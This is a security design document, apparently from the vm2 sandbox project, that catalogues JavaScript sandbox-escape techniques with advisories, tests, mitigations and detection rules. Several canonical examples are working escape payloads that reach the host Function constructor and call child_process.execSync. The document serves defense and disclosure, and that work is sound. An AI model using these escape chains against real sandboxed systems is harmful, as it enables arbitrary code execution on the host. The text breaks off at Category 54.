Second layer β€” the write-side payoff (defense-in-depth). Independent of how a host prototype is reached, the escape only pays off when the sandbox plants a callable on a shared host prototype so the host later invokes it with a foreign this. That payoff is closed structurally too: host [[Prototype]] objects are marked at delivery time (looksLikeHostPrototype β€” an object that owns a data constructor whose .prototype points back at it, read via otherSafeGetOwnPropertyDescriptor so no host getter fires), recorded eagerly in hostObjectsUsedAsPrototype before any sandbox write can run. BaseHandler.set and BaseHandler.defineProperty then divert function values and accessor descriptors written to a marked prototype onto the sandbox-side proxy target instead of otherReflectSet/otherReflectDefineProperty-ing them onto the raw host object. Marking is indirection-independent (decided by the object's shape at delivery, not by how it was obtained) and persistent (later constructor corruption cannot clear a mark). Two properties keep the embedder contract intact: data writes always flow through to the host, and leaf host objects handed to the sandbox are never marked (their constructor is inherited, not own), so test/vm.js's freeze, protect > without freeze β€” where the sandbox installs a function on an exposed host object the host reads back β€” still holds. Either layer alone blocks the canonical PoC; together they close the read primitive and the write payoff for any future read path.

Detection Rules

  • __lookupGetter__ / Object.getOwnPropertyDescriptor(..., '__proto__').get composed with Buffer.call / Buffer.apply / Reflect.apply β€” the raw-getter extraction primitive.
  • Repeated single-hop getter.call(x) producing objects with own builtin-prototype methods (emit, pipe, write) β€” a raw-chain climb, distinct from the flattened Object.getPrototypeOf walk that terminates at Object.prototype.
  • A write of a function value onto any object reached through such a climb β€” the payoff sink; the reached object is a host builtin prototype outside protectedHostObjects.

Considered Attack Surfaces

  • Direction (B) β€” protecting the reachable host-prototype set instead of denying the reader: rejected. Enumerating every non-intrinsic host prototype at init is impossible, and protecting them at the apply-trap result site (Γ  la the v6mx peel) is defeated by host-side map/bind laundering exactly as the peel was. Denying the reader at delivery is the complete, laundering-independent chokepoint.
  • Object.getPrototypeOf / Reflect.getPrototypeOf as data-property readers: not currently extractable as raw host references via __lookupGetter__ (they are data properties, not accessors), but added to dangerousHostProtoReaders defensively so any future host return path that surfaces them is denied.

Attacks Host Reference Primitives (`docs/attacks/host-reference-primitives.md`)

Host Reference Primitives

Ways for sandbox code to obtain a raw host-realm object or the host Function constructor through language-level channels: constructor chains, prototype walks, well-known and cross-realm symbols, caller/callee, property descriptors, built-in functions used as conduits, and ArraySpeciesCreate. These are the atomic building blocks every compound escape starts from.

Defense invariants enforced by fixes in this family: 1, 4, 7, 8 (see Defense Invariants).

Categories in this file: 1, 2, 3, 5, 8, 10, 15, 18, 54.


Attack Category 1: Constructor Chain Traversal

Advisories: none

Tests: test/vm.js ("various attacks #1"), test/vm.js ("various attacks #2"), test/vm.js ("constructor arbitrary code attack")

Description

Every object in JavaScript has a .constructor property pointing to the function that created it. By walking up the constructor chain (obj.constructor.constructor), an attacker can reach the Function constructor of the host realm, which can evaluate arbitrary code outside the sandbox.

Attack Flow

  1. Obtain any host-realm object (via bridge-exposed built-in, error, or prototype traversal).
  2. Access .constructor to get the object's constructor function.
  3. Access .constructor again to get Function (since every function's constructor is Function).
  4. Call Function("return process")() to get the host process object.
  5. process.mainModule.require("child_process").execSync(...) for RCE.

Canonical Examples

javascript
// Direct global constructor chain
const HostFunction = this.constructor.constructor;
const process = HostFunction("return process")();

// Via __proto__
const process = global.__proto__.constructor.constructor("return this")()
  .constructor.constructor("return process")();

// Via an error object in catch
try { undefinedFunction(); }
catch (e) {
  const HostFunction = e.constructor.constructor;
  const process = HostFunction("return process")();
}

Why It Works

The sandbox shares the same V8 isolate as the host. If constructors are not intercepted, the prototype chain eventually reaches the host realm's Function, which can compile and run code in the host context.

Mitigation

The bridge's get trap intercepts .constructor access on proxied objects and returns {} (an empty object) for dangerous function constructors (Function, AsyncFunction, GeneratorFunction, AsyncGeneratorFunction). The isThisDangerousFunctionConstructor check blocks both this-realm and other-realm Function constructors.

Detection Rules

  • Any access to .constructor.constructor on any object is suspicious.
  • Function("return process")() or equivalent string-to-code patterns.
  • e.constructor inside a catch block where e is an error -- the error might carry host prototype references.
  • global.constructor, this.constructor, or any object's .constructor followed by invocation with a string argument.

Attack Category 2: Prototype Chain Manipulation

Advisories: none

Tests: test/vm.js ("proxy trap via Object.prototype attack"), test/vm.js ("defineGetter / defineSetter attack"), test/vm.js ("lookupGetter / lookupSetter attack"), test/vm.js ("Object.create attack"), test/vm.js ("setPrototypeOf on sandbox-local objects")

Description

Attackers modify or traverse the prototype chain to access host objects or pollute shared prototypes to intercept security-critical operations.

Attack Flow

  1. Traverse __proto__ chains to reach host-realm prototypes.
  2. Alternatively, pollute Object.prototype with getter/setter traps that intercept bridge-internal property access.
  3. When the bridge copies property descriptors or checks types, the polluted prototype injects attacker code.

Canonical Examples

javascript
// Climbing via __proto__
const hostObject = obj.__proto__.__proto__;

// Prototype pollution to intercept property descriptors
Object.defineProperty(Object.prototype, "get", {
  get() {
    throw f => f.constructor("return process")();
  }
});

// Setting prototype to bypass instanceof checks
Object.setPrototypeOf(promise, {});

// __defineGetter__ on prototypes
Buffer.prototype.__defineGetter__("toString", () => {});

Why It Works

Prototype pollution can intercept property descriptor operations that the bridge uses internally. If an attacker can define a get or set trap on Object.prototype, they can hijack the bridge's own property copying logic. Additionally, __proto__ traversal can reach host-realm prototypes that were not properly proxied.

Mitigation

The bridge uses null-prototype objects ({__proto__: null}) for all internal descriptor operations. __proto__ access is intercepted by the proxy get trap and returns the sandbox-side prototype. The bridge caches all critical Reflect.* methods at initialization, preventing monkey-patching.

Detection Rules

  • Object.defineProperty(Object.prototype, ...) -- polluting the root prototype.
  • __defineGetter__ or __defineSetter__ on any prototype object.
  • Object.setPrototypeOf or Reflect.setPrototypeOf -- changing prototype chains.
  • __proto__ access or assignment -- direct prototype manipulation.
  • __lookupGetter__ or __lookupSetter__ -- accessing internal getter/setter references.

Attack Category 3: Symbol-Based Attacks

Advisories: none

Tests: test/vm.js ("[Symbol.species] attack"), test/vm.js ("Symbol.hasInstance attack"), test/vm.js ("Symbol.hasInstance override to bypass resetPromiseSpecies"), test/vm.js ("Symbol.species getter TOCTOU attack via Promise"), test/vm.js ("Object.defineProperty override attack via Promise species"), test/vm.js ("symbol")

Description

JavaScript Symbols provide special protocol hooks (Symbol.species, Symbol.hasInstance, Symbol.iterator, etc.) that can override fundamental behaviors. Attackers use these to bypass type checks or redirect object construction. See also Category 18: Array Species Self-Return for a concrete exploitation of Symbol.species.

Attack Flow

  1. Identify a V8 internal algorithm that reads a well-known symbol (e.g., Symbol.species for promise/array construction, Symbol.hasInstance for instanceof checks).
  2. Override the symbol on a target object to redirect the algorithm's behavior.
  3. The redirected behavior causes V8 to pass unsanitized host values to attacker-controlled code.

Canonical Examples

javascript
// Symbol.hasInstance to bypass instanceof
Object.__defineGetter__(Symbol.hasInstance, () => () => true);
Buffer.from.constructor("return process")();

// Symbol.hasInstance override to bypass resetPromiseSpecies guard
const GP = Object.getPrototypeOf(Promise); // gets globalPromise
Object.defineProperty(GP, Symbol.hasInstance, {value: () => false});
// Now `p instanceof globalPromise` returns false, skipping species reset
const p = asyncFn();
p.constructor = { [Symbol.species]: MaliciousPromise };
p.then(); // resetPromiseSpecies skipped due to instanceof bypass

// Symbol.species to redirect Promise construction
const p = asyncFn();
p.constructor = {
  [Symbol.species]: class FakePromise {
    constructor(executor) {
      executor(x => x, err => {
        // err might be unsanitized host error
        const HostFunction = err.constructor.constructor;
        HostFunction("return process")();
      });
    }
  }
};
p.then();

// Symbol.species getter TOCTOU -- returns safe value on first read, malicious on second
const p = asyncFn();
p.constructor = {
  get [Symbol.species]() {
    if (first) { first = false; return Promise; } // passes check
    return FakePromise; // V8 uses this for species resolution
  }
};
p.then();

// Error with Symbol name triggering host error path (see Fundamentals: Error Generation Primitive)
const error = new Error();
error.name = Symbol(); // toString() on Symbol throws TypeError

Why It Works

Symbol.species controls what constructor is used when built-in methods create derived objects (e.g., Promise.then creates a new promise). If an attacker substitutes a custom class, that class's constructor receives host-realm values. Symbol.hasInstance controls instanceof checks that the bridge might rely on for type verification.

Mitigation

globalPromise and globalPromise.prototype are frozen in setup-sandbox.js, preventing Symbol.hasInstance and Symbol.species overrides. Promise species is reset unconditionally via Reflect.defineProperty (data property, not accessor) before every .then()/.catch() call, eliminating TOCTOU. For arrays, neutralizeArraySpeciesBatch (via neutralizeArraySpeciesOn) sets constructor = undefined on host arrays before host function calls and restores the prior descriptor after.

Detection Rules

  • Symbol.species usage, especially assignment to .constructor[Symbol.species].
  • Symbol.species as a getter -- TOCTOU attack returning different values on each access.
  • Symbol.hasInstance override via __defineGetter__ or Object.defineProperty.
  • Object.getPrototypeOf(Promise) -- accessing globalPromise to override its Symbol.hasInstance.
  • Symbol.for() -- can create cross-realm shared symbols.
  • Any Symbol used as error.name -- triggers TypeError on string conversion which may leak host errors.
  • Symbol.iterator or Symbol.toPrimitive overrides -- can execute code during iteration or coercion.
  • Extraction of real symbols from host objects -- see also Category 8: Cross-Realm Symbol Extraction.

Attack Category 5: Function Caller/Callee Access

Advisories: none

Tests: test/vm.js ("arguments"), test/nodevm.js ("arguments attack"), test/nodevm.js ("builtin module arguments attack")

Description

The arguments.callee.caller chain and function caller/arguments properties can leak references to functions higher in the call stack, potentially including bridge internals.

Attack Flow

  1. Define a function in the sandbox that accesses arguments.callee.caller or fn.caller.
  2. Arrange for this function to be called by a bridge function (e.g., as a callback passed to a host API).
  3. .caller returns the bridge function, whose .constructor is the host Function.

Canonical Examples

javascript
// arguments.callee.caller
(function() {
  return arguments.callee.caller;
})();

// Function.caller
function exploit() {
  return exploit.caller.constructor;
}

// arguments access on wrapped functions
function f() {
  return f.arguments[0]; // Might be host object
}

Why It Works

If a sandbox function is called by a bridge function (host-realm), accessing .caller on the sandbox function returns the bridge function, which has a host-realm constructor (the host Function).

Mitigation

The bridge throws immediately on .caller and .arguments access.

Detection Rules

  • arguments.callee -- accessing the calling function.
  • arguments.callee.caller -- walking up the call stack.
  • .caller property on any function.
  • .arguments property on any function (the deprecated property, not the local arguments object).

Attack Category 8: Cross-Realm Symbol Extraction from Host Objects

Advisories: GHSA-m5q2-4fm3-vfqp, GHSA-47x8-96vw-5wg6, GHSA-jf8q-945g-9q4c

Tests: test/ghsa/GHSA-m5q2-4fm3-vfqp/repro.js, test/ghsa/GHSA-47x8-96vw-5wg6/repro.js, test/ghsa/GHSA-47x8-96vw-5wg6/structural-leak.js, test/ghsa/GHSA-47x8-96vw-5wg6/structural-leak-variants.js, test/ghsa/GHSA-jf8q-945g-9q4c/repro.js, test/vm.js ("Symbol.for dangerous Node.js symbols isolation"), test/vm.js ("Symbol extraction via Object.getOwnPropertySymbols on host objects"), test/vm.js ("Symbol extraction via spread operator on host objects")

Description

Even when Symbol.for is overridden to return sandbox-local symbols, the real cross-realm symbols still exist as property keys on host objects exposed to the sandbox (e.g., Buffer.prototype, Error.prototype). Attackers can extract these real symbols using reflection APIs and use them to define properties that Node.js internals will invoke in host context. This technique enables Category 9: Proxy Handler Exposure by providing the real nodejs.util.inspect.custom symbol.

Attack Flow

  1. Use reflection APIs (Object.getOwnPropertySymbols, Reflect.ownKeys, Object.getOwnPropertyDescriptors, Object.assign, object spread) to enumerate symbol-keyed properties on host objects.
  2. Filter for the target symbol by .description (e.g., 'nodejs.util.inspect.custom').
  3. Define the real symbol on a sandbox object.
  4. When Node.js internals encounter the object, they invoke the symbol-keyed method with host context.

Canonical Examples

text
/* Detailed source-code truncated for AI context efficiency. */

Why It Works

Symbol.for('nodejs.util.inspect.custom') creates a cross-realm symbol shared between host and sandbox. Even when the sandbox's Symbol.for is overridden, the real symbol already exists as a property key on host objects that the bridge exposes.

Subtlety: Internal [[OwnPropertyKeys]] vs User-Visible Reflect.ownKeys

Several built-in functions use the spec-level [[OwnPropertyKeys]] internal method rather than the user-visible Reflect.ownKeys. For plain objects, this means overriding Reflect.ownKeys or Object.getOwnPropertySymbols alone is insufficient:

  • Object.getOwnPropertyDescriptors(obj) -- calls [[OwnPropertyKeys]] on obj.
  • Object.assign(target, ...sources) -- calls [[OwnPropertyKeys]] on each source.
  • Object.defineProperties(obj, props) -- calls [[OwnPropertyKeys]] on props.
  • Object spread {...obj} -- calls [[OwnPropertyKeys]] on the source.

However, for Proxy objects, the internal [[OwnPropertyKeys]] does trigger the proxy's ownKeys trap. The bypass only applies when Reflect.ownKeys is overridden as a user-visible function on plain objects -- Proxy ownKeys traps are always invoked by the spec algorithm. The bridge proxy handler's ownKeys trap filters dangerous symbols directly, so bridge-proxied host objects are protected regardless of sandbox-side overrides.

Mitigation

Multi-layer defense. Sandbox side (setup-sandbox.js): overrides Symbol.for, Object.getOwnPropertySymbols, Reflect.ownKeys, Object.getOwnPropertyDescriptors, Object.assign to filter or replace dangerous symbols with sandbox-local equivalents. Bridge side (lib/bridge.js): the ownKeys/has/getOwnPropertyDescriptor/set/defineProperty traps filter dangerous symbols at key-access sites. The sandbox-side defense can be bypassed if the attacker obtains a live reference to the host's unmodified Object/Reflect (via prototype walk + __lookupGetter__ + Buffer.apply, via a leaked handler.getPrototypeOf, etc.) β€” so the bridge side is the ultimate enforcement layer.

Bridge symbol-boundary filter (GHSA-47x8-96vw-5wg6, -qcp4-v2jj-fjx8, -f539-x546-3726): the case 'symbol': branches of the three primitive-value chokepoints thisFromOtherWithFactory, thisEnsureThis, and thisFromOtherForThrow now check isDangerousCrossRealmSymbol(other) when !isHost and return undefined for dangerous symbols. This is the single choke point through which every host-produced symbol primitive passes before reaching sandbox code β€” whether from a direct call result (apply trap), property read (get trap), iterator yield, descriptor getter, or throw value. Returning undefined (rather than a sandbox-local surrogate) is deliberate: undefined as a computed key coerces to the string "undefined", so any subsequent attempt to register a handler via obj[sym] = fn, {[sym]: fn}, Object.defineProperty(obj, sym, ...), or Reflect.set(obj, sym, fn) installs the key under the string "undefined" β€” which is never invoked by host internals as a custom-inspect/rejection protocol.

Structural identity collapse for built-in intrinsics (GHSA-47x8-96vw-5wg6 follow-up): the symbol-filter patch above closed the canonical RCE payload but left the underlying primitive intact β€” sandbox code could still walk host prototypes (({}).__lookupGetter__('__proto__').call(...), Reflect.getPrototypeOf, descriptor extraction of Object.prototype.__proto__, Buffer.from(...) proto chains, etc.) and surface a reference to host built-ins. Any later vulnerability that converts "I have a host built-in handle" into "I can read a host symbol / call a host method that bypasses bridge sanitisation" would re-enable the same escape class. Fix: at bridge init (lib/bridge.js's thisAddIdentityMapping), pre-populate the mappingOtherToThis / mappingThisToOther weakmaps with [hostIntrinsic, sandboxIntrinsic] for every well-known prototype + constructor (Object, Array, Number, String, Boolean, Date, RegExp, Map, WeakMap, Set, WeakSet, Promise, every error class). The cache lookup in thisFromOtherWithFactory (line ~1600), thisFromOtherForThrow, and thisEnsureThis short-circuits before any wrapping logic, so a host intrinsic crossing the bridge is collapsed to the sandbox-realm equivalent the moment it arrives. The Function, AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction prototypes are deliberately NOT cached: their .constructor is the dangerous-function sentinel surface, and leaving those prototypes wrapped means the proxy get trap continues to route fp.constructor reads through isDangerousFunctionConstructor β†’ emptyFrozenObject. Same reasoning applies to Function-family constructors themselves, which are explicitly skipped inside thisAddIdentityMapping.

Pre-wrap container scrub: apply and construct traps invoke stripDangerousSymbolsFromHostResult(ret) on the raw host return value before wrapping. For host arrays, the scrub drops any element that is a dangerous symbol and compacts; for non-array host objects (such as the return value of Object.getOwnPropertyDescriptors), it deletes own-property slots keyed by the dangerous symbols. This closes iteration and descriptor-enumeration paths that would otherwise still see the dangerous symbol present on the host container.

ownKeys trap rewrite: iterates the raw host result via otherReflectGet rather than bridge-wrapping it, so dangerous symbols can be dropped (preserving the Proxy ownKeys invariant, which forbids undefined keys) rather than rewritten.

nodejs. prefix denial at the source (GHSA-m5q2-4fm3-vfqp): the Symbol.for override originally allow-listed only nodejs.util.inspect.custom and nodejs.rejection, leaving seven other Node-internal nodejs.* keys live (nodejs.util.promisify.custom, the four stream brand symbols, the two webstream symbols). The override now intercepts the entire nodejs. namespace β€” any key starting with nodejs. is mapped to a sandbox-local symbol β€” so the canonical Symbol.for(...) extraction path cannot produce a real cross-realm symbol regardless of which internal feature the attacker targets. A keyed cache preserves Symbol.for(k) === Symbol.for(k) identity inside the sandbox for the same key. The companion read-side filter (isDangerousSymbol in setup-sandbox.js, isDangerousCrossRealmSymbol in bridge.js) was extended with the seven additional symbols so identity checks against host-extracted symbols match the same set; new entries to either side must be mirrored to keep the source-deny and identity-filter layers consistent.

Bridge write-trap symbol guard (GHSA-m5q2-4fm3-vfqp): the read-direction filter prevents the sandbox from surfacing dangerous symbols, but the write traps (set, defineProperty, deleteProperty) would otherwise forward the key straight through to otherReflect* without inspecting it. If any future bypass surfaces a dangerous symbol back inside the sandbox (or a host-side embedder hands one in via a path that bypasses the per-symbol filter), the unguarded write traps would let it land as a key on any non-protected host object β€” turning the leak into a host-side hook installation. Each of the three write traps now checks isDangerousCrossRealmSymbol(key) when !isHost and throws VMError(OPNA), mirroring the read-side filter. Symmetric coverage across read and write makes "obtaining the symbol" no longer enough to weaponize it; the attacker would also need a path that bypasses both layers simultaneously.

Stream state-symbol coverage (GHSA-jf8q-945g-9q4c): the m5q2 fix enumerated nine dangerous nodejs.* symbols but missed the two stream state symbols nodejs.stream.disturbed and nodejs.stream.errored. Unlike the brand symbols (which are duck-typing booleans read by Stream.is{Readable,Writable}), these are accessor symbols installed on ReadableStream.prototype whose getters return the stream's consumed / errored state, and Node's stream.Readable.isDisturbed(s) / isErrored(s) read them directly off the raw object (stream[kIsDisturbed] ?? ...). Because the accessor is configurable with no setter, sandbox code that obtains the real symbol β€” by extracting it from a host ReadableStream.prototype exposed via vm.sandbox (Object.getOwnPropertySymbols(proto)), the Category 8 prototype-walk path β€” and then Object.defineProperty(hostStream, sym, {value:false}) shadows the getter with an own data property, flipping a fully consumed stream's isDisturbed from true back to false (and similarly clearing isErrored). This lets sandbox code lie to host code that gates on "has this stream already been read?" β€” e.g. re-serving or re-piping a stream a host guard believed was spent. The two symbols were the only member of the nodejs.stream.* family absent from realDangerousSymbols (setup-sandbox.js) and isDangerousCrossRealmSymbol (bridge.js). Rather than only add the two by identity β€” which would leave the list stale again the next time Node adds a nodejs.* symbol (this report is itself the second such gap, after GHSA-m5q2) β€” the fix generalizes both the extraction filter and the write-trap guard to a namespace check: any registered symbol whose Symbol.keyFor(sym) is in the reserved nodejs. namespace is dangerous, mirroring the Symbol.for source-side override that was already namespace-based. isDangerousSymbol (setup-sandbox.js) and isDangerousCrossRealmSymbol (bridge.js) keep the explicit list as a fast path / regression documentation and add the namespace catch-all (using a pristine Symbol.keyFor captured at bootstrap); getOwnPropertyDescriptors scrubbing likewise drops any nodejs.-keyed slot instead of a fixed list. This is over-block-safe by construction: Symbol.keyFor returns a string only for registered symbols, so well-known symbols (Symbol.iterator, …) and sandbox-local Symbol('nodejs.*') surrogates are unaffected, and a benign registered symbol (Symbol.for('myapp.x')) still crosses. A regression test asserts a novel nodejs.* symbol not in the explicit list is filtered too. (The Symbol.for('nodejs.stream.disturbed') reconstruction path was already denied by the m5q2 whole-nodejs.-namespace override.) The sound oracle for any regression is host-side stream.Readable.isDisturbed(rs) staying true after the sandbox runs.

Detection Rules

  • Object.getOwnPropertySymbols(hostObject) -- enumerating symbols on bridge-exposed objects.
  • Reflect.ownKeys(hostObject) -- same pattern via Reflect.
  • .find(s => s.description === '...') -- searching for symbols by description string.
  • Object.getOwnPropertyDescriptors(hostObject) -- extracting symbol-keyed descriptors.
  • Object.assign(proxy, hostObject) -- leaking symbol keys via Proxy set trap.
  • {...hostObject} or const {...x} = hostObject -- spread operator on bridge proxies.
  • Array.prototype.splice = ... or other Array method overrides before symbol enumeration -- attempting to bypass array-based filtering.
  • Function.prototype.value = ... -- prototype pollution to hijack Object.defineProperties.
  • WebAssembly.compileStreaming(obj) -- triggers internal util.inspect on error.
  • Object.defineProperty(hostStream, sym, {value:false}) / hostStream[sym] = false with sym.description in {nodejs.stream.disturbed, nodejs.stream.errored} -- shadowing a stream state accessor to flip host-side isDisturbed/isErrored (GHSA-jf8q-945g-9q4c).

Attack Category 10: Built-in Function Exploitation

Advisories: none

Tests: test/vm.js ("various attacks #1"), test/vm.js ("various attacks #2"), test/vm.js ("Object.create attack"), test/vm.js ("buffer attack"), test/vm.js ("constructor arbitrary code attack")

Description

Attackers use built-in functions (Buffer, Reflect, Array methods) as conduits to leak host references or intercept bridge operations.

Attack Flow

  1. Override a built-in constructor or method (Array, Object.create, Reflect.construct).
  2. Trigger a bridge operation that internally uses the overridden built-in (e.g., call Buffer.from()).
  3. The overridden built-in executes attacker code with access to bridge-internal references.

Canonical Examples

javascript
// Buffer.apply chain
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
p.call(a).constructor("return process")();

// Override Object.create to inject descriptors
const oc = Object.create;
Object.create = (p, x) => Object.defineProperty(oc(p, x), "get", {
  set() {},
  get: () => (t, k, r) => t.constructor("return process")()
});
Buffer.from.process;

// Override Array constructor
Array = function() {
  Array = arrayBackup;
  throw x => x.constructor("return process")();
};
Buffer.from(valueOfTrigger);

// Override Array.prototype.map
Array.prototype.map = function(callback) {
  leaked = callback(hostRef);
};

Why It Works

Built-in functions like Buffer.from() internally create arrays, objects, and call constructors. If the sandbox overrides Array, Object.create, or Reflect.construct before calling a bridge-exposed built-in, the bridge's internal operations use the overridden versions.

Mitigation

The bridge caches references at init time (Reflect.apply, Reflect.construct, etc.) and uses cached references for all internal operations. Sandbox-side overrides of Array, Object.create, etc. do not affect bridge internals.

Detection Rules

  • Buffer.apply, Buffer.from with unusual arguments (Proxies, objects with valueOf).
  • Override of Object.create -- intercepting object creation.
  • Override of Reflect.construct or other Reflect methods.
  • Override of Array constructor or Array.prototype methods.
  • Override of Object.assign -- intercepting property copying.
  • valueOf() or toString() overrides on objects passed to built-ins.

Attack Category 15: Property Descriptor Value Extraction

Advisories: none

Tests: test/vm.js ("getOwnPropertyDescriptor Function constructor bypass attack"), test/vm.js ("getOwnPropertyDescriptor Function extraction via Object.entries attack"), test/vm.js ("getOwnPropertyDescriptor Function extraction via nested entries attack"), test/vm.js ("getOwnPropertyDescriptors (plural) Function extraction attack"), test/vm.js ("getOwnPropertyDescriptor on getOwnPropertyDescriptors result (nested descriptor attack)"), test/vm.js ("Function constructor extraction via Object.entries on getOwnPropertyDescriptors result")

Description

Property descriptors returned by Object.getOwnPropertyDescriptor contain a value property holding the actual property value. When the property is Function.prototype.constructor, this value is the host's Function constructor. Attackers can build arbitrarily deep nesting by chaining getOwnPropertyDescriptors calls, then extract values using Object.entries() which bypasses direct property access protections.

Attack Flow

  1. Get Object.getOwnPropertyDescriptor(Function.prototype, 'constructor') -- descriptor contains value: Function.
  2. The descriptor is wrapped as a proxy, but the underlying host object contains the raw Function constructor.
  3. Pass the proxy to a host function like Object.entries() -- it gets unwrapped via mappingThisToOther.
  4. The host's Object.entries sees unsanitized content, including the raw Function constructor.
  5. Extract the Function constructor via chained Object.entries calls.

Canonical Examples

javascript
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const fp = p.call(a);  // Function.prototype
const op = p.call(fp); // Object.prototype
const ho = op.constructor; // Object

const cd = ho.getOwnPropertyDescriptor(fp, 'constructor');
// cd = {value: Function, writable: true, enumerable: false, configurable: true}

const e = ho.entries(cd).find(v => v[0] === 'value');
e.shift(); // e = [Function]
e.push([undefined, ['return process']]);
a.apply(a, e)().mainModule.require('child_process').execSync('...');

Why It Works

When sandbox proxies are passed to host functions, they are unwrapped via mappingThisToOther back to the original host object. The host function then sees unsanitized content.

Mitigation

Objects containing dangerous constructors are proxied with preventUnwrap -- they are NOT registered in mappingThisToOther. When passed to host functions, they cannot be unwrapped; instead the bridge creates a double-proxy where all property access goes through sanitizing traps. The proxy's get trap returns {} for dangerous constructor values. containsDangerousConstructor performs a shallow scan of own property descriptors at each bridge crossing; nested host objects are scanned independently when they themselves cross the bridge, so layered descriptor-extraction attacks (getOwnPropertyDescriptor on getOwnPropertyDescriptors results, etc.) are caught at the layer where the Function constructor is exposed at depth 1.

Detection Rules

  • Object.getOwnPropertyDescriptor(hostPrototype, 'constructor') -- getting descriptor for constructor property.
  • Object.getOwnPropertyDescriptors(hostPrototype) -- getting all descriptors.
  • Chained getOwnPropertyDescriptors calls -- building deep nesting.
  • Object.entries(descriptor) or Object.values(descriptor) -- extracting values from descriptors.
  • entries.apply(null, arr) -- passing extracted arrays back to host functions.
  • apply.apply(apply, array) -- calling extracted Function with arguments.

Attack Category 18: Array Species Self-Return via Constructor Manipulation

Advisories: GHSA-grj5-jjm8-h35p

Tests: test/ghsa/GHSA-grj5-jjm8-h35p/ (repro.js, descriptor-chain-history.js), test/vm.js ("Array species self-return attack via constructor manipulation"), test/vm.js ("Array constructor write via defineProperty is intercepted"), test/vm.js ("neutralizeArraySpecies prevents species attack in apply trap"), test/vm.js ("species defense still blocks attacks via frozen host arrays (#567 follow-up)")

Uses: Category 3: Symbol-Based Attacks, Category 10: Built-in Function Exploitation

Description

V8's ArraySpeciesCreate algorithm reads this.constructor[Symbol.species] when methods like Array.prototype.map, .filter, .slice, .splice, .concat, .flat, .flatMap create a result array. By setting constructor on a host array to a function that (1) returns the same array and (2) has Symbol.species pointing to itself, an attacker makes map store raw host-side function results directly into the original array -- bypassing bridge sanitization entirely.

Attack Flow

  1. Host array creation: ho.entries({}) creates a host array which gets proxied to the sandbox.
  2. Species constructor setup: A sandbox function x() is created that returns the same array r. x[Symbol.species] = x makes V8's species resolution return x itself.
  3. Constructor injection: The attacker sets r.constructor = x. Multiple methods:
    • Direct write: r.constructor = x (blocked by proxy set trap storing locally)
    • Object.assign bypass: ho.assign(r, {constructor: x}) (sets directly on host array)
    • Non-configurable constructor: Object.defineProperty with configurable: false (detected by Reflect.deleteProperty check)
    • Prototype-level: Object.setPrototypeOf (blocked by own property constructor=undefined shadowing)
  4. Species-driven map: r.map(f) triggers ArraySpeciesCreate. V8 reads r.constructor -> gets x, reads x[Symbol.species] -> gets x, calls new x(length) -> returns r. map stores callback results directly into r on the host side.
  5. Chained extraction: Multiple cwu calls build up to extracting the host Function constructor -> RCE.

Canonical Examples

javascript
// The 'call-with-unwrap' (cwu) primitive
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const op = p.call(p.call(p.call(p.call(Buffer.of()))));
const ho = op.constructor;  // host Object

function cwu(func, thiz, args) {
    const r = ho.entries({});  // host array
    args.unshift(thiz);
    const f = a.apply(a.bind, [func, args]);
    r[0] = 0;
    function x() { return r; }  // species constructor returns same array
    x[Symbol.species] = x;      // species points to itself
    r.constructor = x;           // direct write (blocked by set trap)
    // OR: ho.assign(r, {constructor: x});  // Object.assign bypass
    r.map(f);  // ArraySpeciesCreate uses x -> returns r -> stores raw results
    r.constructor = undefined;
    return r;  // r[0] now contains raw unsanitized host value
}

// Chain cwu calls to extract host Function constructor
const d = cwu(a, g, [ho.freeze, ['__proto__']]);
const e = cwu(a, d[0], [ho.entries({}), ['call']]);
const c = cwu(a, a, [e[0]]);
a.apply(a, e)().mainModule.require('child_process').execSync('...');

Why It Works

The bridge wraps every value crossing the boundary in proxies, but ArraySpeciesCreate is a V8 internal algorithm that operates entirely within the host realm. When the species constructor returns the same array, map's internal CreateDataPropertyOrThrow stores results directly on that array -- no bridge crossing occurs. The values stay on the host side, completely bypassing proxy sanitization.

The Object.assign bypass is particularly insidious: the sandbox proxy's set trap only intercepts writes initiated from the sandbox side. Object.assign runs as a host-side function (through the apply trap), and its internal [[Set]] operations target the underlying host array directly.

Mitigation

Two-layer defense in lib/bridge.js:

  1. Proxy get trap β€” cached Array ctor for host arrays: When sandbox code reads .constructor on a host-array-backed proxy, the trap returns a module-load-time-captured thisArrayCtor = Array reference. This bypass of the normal property read neutralises any attacker-installed constructor (direct r.constructor = x, Object.defineProperty, Object.assign, prototype-chain injection via Object.setPrototypeOf) and is immune to prototype pollution of Array.prototype.constructor. Only defends sandbox-side reads; does not cover V8-internal reads issued from the host realm.
  2. Apply/construct trap neutralize-and-restore: Before every otherReflectApply(object, context, args) and otherReflectConstruct(object, args) — i.e. every sandbox→host function invocation — the bridge walks context and each top-level argument. For every host array found (Array.isArray is cross-realm safe), it installs constructor = undefined as a data own property (shadowing both own and inherited constructors; the ES2024 spec explicitly maps constructor === undefined to %Array% in ArraySpeciesCreate). After the host call returns — in a finally — the prior descriptor is restored (or the shadow deleted if none existed). This covers V8-internal reads issued from the host realm during the call.

Both layers reject un-neutralisable arrays with VMError: a pre-installed non-configurable constructor whose value is anything other than undefined, or a non-extensible array without an own constructor slot, cannot be safely shadowed or restored and is treated as an attack.

The neutralize-on-entry/restore-on-exit pattern mirrors resetPromiseSpecies in setup-sandbox.js, which closes the equivalent V8-internal-bypass class for Promise.

Detection Rules

  • r.constructor = x where x has Symbol.species -- species self-return pattern.
  • x[Symbol.species] = x -- self-referential species.
  • function x() { return r; } as species -- constructor returning existing object.
  • ho.assign(r, {constructor: ...}) -- bypassing proxy set trap via host Object.assign.
  • .map(f) on arrays with custom constructor -- triggering ArraySpeciesCreate.
  • ho.entries({}) or Object.entries() -- creating host arrays for species manipulation.

Attack Category 54: Host Global Leak via a Sloppy Host Function's Nullish `this` (OrdinaryCallBindThis)

Advisories: GHSA-j89j-5m6r-cr2q

Tests: test/ghsa/GHSA-j89j-5m6r-cr2q/

Uses: Category 10 (an exposed host function as the conduit)

Description

